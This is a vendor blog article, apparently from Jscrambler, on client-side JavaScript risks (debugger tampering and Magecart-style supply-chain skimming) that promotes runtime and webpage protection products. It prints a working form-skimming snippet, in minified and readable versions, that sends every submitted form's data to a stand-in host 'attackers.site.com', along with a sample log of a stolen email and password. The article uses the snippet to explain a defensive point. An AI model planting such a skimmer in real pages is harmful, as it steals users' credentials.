JavaScript is a programming language with many useful features—it is built around flexibility, giving you all the capability necessary to do what you want with it. JavaScript’s dynamic nature allowed it to become the de facto language for the browser and the most popular programming language in the world.
One of the most useful JS features is, for example, immediate parsing. This feature means that the browser executes the code right as it downloads content, naturally providing benefits. However, with this level of freedom also comes responsibility.
In this article, weʼd like to delve into the JavaScript security risks and how to protect JavaScript code. This time we will cover only front-end code that runs on the browser, but we have another tutorial on protecting Node.js apps.
How does the browser execute JavaScript?
Imagine all the steps required for a browser. First, it has to download the page and begin parsing. The browser doesnʼt wait around for everything to download—it has the capability to download and parse the page at the same time. So what happens when it encounters JavaScript?
JavaScript is render blocking, which has a tremendous advantage when it executes. This means that, the browser will halt parsing, execute JavaScript first, then continue. This provides ultimate flexibility in wielding this programming language and opens up the code to any number of possibilities.
However, the question is: what are the implications of such features when trying to build secure JavaScript apps?
The Risks of JavaScript
1. Debugging and Tampering
Application security guides such as those from OWASP highlight the threats posed by reverse engineering and tampering with application source code, especially in applications that handle sensitive data or perform critical operations.
This is precisely the case of JavaScript-powered applications, where these risks can be leveraged in the form of various attacks such as intellectual property theft, automated abuse, piracy, and data exfiltration. (For more details on these key business risks, see our blog post on “Enterprise JavaScript: Opportunities, Threats, Solutions”.)
Regulations and standards such as NIST and ISO 27001 also mention these risks of having unprotected source code, recommending that organizations put in place strict control procedures to keep them from experiencing the consequences of possible attacks.
To illustrate these risks, imagine the following code snippet:
<div id="hack-target"></div>
<button>Set Value</button>
<script>
document.querySelector('button').addEventListener('click', setValue);
function setValue() {
var value = '2';
document.getElementById('hack-target').innerText = value;
}
</script>
This declares a target in HTML and wires up events. When you click the button, the callback fires.
With client-side JavaScript, you can set a breakpoint right where it sets the value. This breakpoint gets hit right as the event fires. The value that gets set through var value = '2';
can change at will. The debugger halts execution and allows a person to tamper with the page. This capability is helpful when it comes to debugging and the browser does not raise any flags while this is happening.
Since the debugger halts the execution, it has the power to halt page rendering too. Debugging is part of the tooling inside the browser so any person gets access to this.
To see this technique in action check out this code on Code Pen available. Below is a screenshot of the debugging:
So, we know that this feature is great for debugging JavaScript, but how can it impact secure JavaScript code?
Just like anyone can use the debugging tool for legitimate purposes, an attacker can use this feature to change JavaScript at runtime. The attacker can hit a breakpoint, change the DOM and enter arbitrary JavaScript in the console. This kind of attack can be used to exploit possible security flaws on the client-side. The attacker can change the data, hijack the session and make arbitrary JavaScript changes on the page, therefore compromising the security of the original code. Or, as OWASP puts it:
An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application’s data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain.
For example, with the Web Developer Tools opened, anyone can go to the Console tab and enter:
document.querySelector('button').addEventListener('click', function() {
alert('sacked');
});
The next time this event fires, it will fire this JavaScript change. Can you feel the bitter taste of danger?
2. Data Exfiltration and Other Client-Side Attacks
Going beyond the security risks of attackers targeting the JavaScript source code itself, we must still consider the dangers of arbitrary JavaScript execution in the browser.
We have been seeing a growing surge of web supply chain attacks such as Magecart attacks flooding the web and leveraging the client-side to exfiltrate data. To put this into perspective let's take a look at an example.
Let's say that somehow (this has already happened before) your CDN gets compromised and the jQuery
script you're including on your website is modified, adding the snippet below:
!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();
It’s very likely that you won’t notice this change—and your website will be distributing malware.
Now, let's try a more readable version of the same snippet:
! function() {
document.querySelectorAll("form").forEach(function(a) {
a.addEventListener("submit", function(a) {
var b;
if (!a.target) return null;
b = new FormData(a.target);
var d = "";
for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0
})
})
}();
We can understand its logic as follows:
- For every
form
on the page, - a
submit
event handler is added, so that when triggered, - form data is collected and rewritten using Query String format,
- which is then appended to the new
Image
resource source URL.
Ok, so let's make is clear: everytime a form is submitted, the exact same data is sent to a remote server (attackers.site.com
), requesting what is supposed to be an image resource.
Then, the owners of attackers.site.com
will receive the data on their access log:
79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /?email=john.doe@somehost.com&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
And as a result, your website will be silently leaking user data right into the hands of attackers, even without any breach to your own server. This is the reason why web supply chain attacks are such a significant threat today, as regulations like GDPR/CCPA/HIPAA impose huge penalties following user data leakage.
How to protect JavaScript on the client-side?
1. JavaScript Code Protection
With the flexible and dynamic nature of the web, to protect JavaScript code from potential attackers, the best option is to add runtime protection. This security layer will protect JavaScript code during execution in order to avoid tampering, providing the most effective level of protection for client-side applications. As explained by Gartner:
Runtime application self-protection is a security technology that is built or linked into an application or application runtime environment and is capable of controlling application execution, detecting, and preventing real-time attacks.
Once JavaScript hits the browser, there is nothing to shield its execution completely. Runtime protection will guard against debugging and code tampering attacks that only happen at runtime. This will include attacks that modify the application while it is offline. A good runtime protection solution will also obfuscate the code to where an attacker canʼt tamper with the solution itself, nor simply go around it.
All these layers of protection are meant to guarantee that you have secure JavaScript code running on the web, despite attackers' efforts to tamper with it. A robust runtime protection solution will also send notifications when an attacker attempts to thwart the code. This allows application owners to react and take action, for example by terminating the user session.
Jscrambler Code Integrity offers a runtime protection solution that protects applications against runtime attacks. It combines anti-debugging and anti-tampering techniques alongside other self-defensive capabilities to provide active protection for JavaScript applications. Specifically:
Anti-debugging detects the use of debugging tools (e.g. DevTools, Firebug) and breaks the debugger to stop the reverse engineering process. This is achieved with code traps and dead objects that make the debugging tools stop working and make the call stack grow, keeping the user from inspecting the app’s control flow.
Control-flow flattening, as the name implies, flattens the program flow, adds opaque predicates and irrelevant code clones. As a result, every single natural conditional construct that makes the code easier to read is gone.
Anti-tampering detects code changes and reacts accordingly. For instance, if you add/remove a single semicolon from a function protected with Jscrambler’s Self-defending feature, it will detect that change and make the code stop working. Both techniques together with code obfuscation make it infeasible for an attacker to tamper with the application.
You can start trying our solution for free now.
2. Client-Side Protection
The typical JavaScript development process often relies on the use of open source components that speed up the development. Additionally, most websites end up running several third-party scripts (chatbots, analytics, ads, etc.) at runtime.
The reality of using all these externally sourced pieces of code is that the attack surface for client-side attacks drastically increases.
Since traditional security systems (server-side security, network security) don’t address the client-side, to tackle these growing threats, companies need complete visibility and control over their website’s client-side.
Jscrambler Webpage Integrity provides full-featured client-side protection against client-side attacks like Magecart web skimmers and data exfiltration. Specifically:
- Full real-time observability of the behavior of every single third-party script; this means knowing if it loads/injects more code, if it is sending data out and where to, if it’s accessing form data, cookies, and local storage, if it’s mutating the DOM, etc.
- A comprehensive inventory of all these website scripts and the network requests that they are doing;
- A powerful rules engine that grants flexible and granular control over the behavior of each script. This allows automatically blocking disallowed behaviors such as tampering with other code in the web page, accessing the “password” field of a login form, accessing cookies or local storage, contacting certain domains, etc.
To get started with Jscrambler Webpage Integrity, request a Free Inventory Report of your website. This report provides a snapshot of every third-party script running on your website and their behavior broken down into actionable security insights.
Conclusion
Since JavaScript powers most of the web (including websites that handle extremely sensitive user data), and since it is naturally a dynamic language for the web that got built for flexibility, it poses additional concerns in terms of security. Like any good double-edged sword, you must wield this with responsibility. So, In order to protect JavaScript code, you must take into account what happens at runtime.
In order to protect JavaScript code, you must take into account what happens at runtime, both because attackers can target your exposed source code and because they can inject malicious JavaScript code through your third-party scripts.
Tackling both these dimensions successfully puts you ahead of attackers and on the right path to compliance.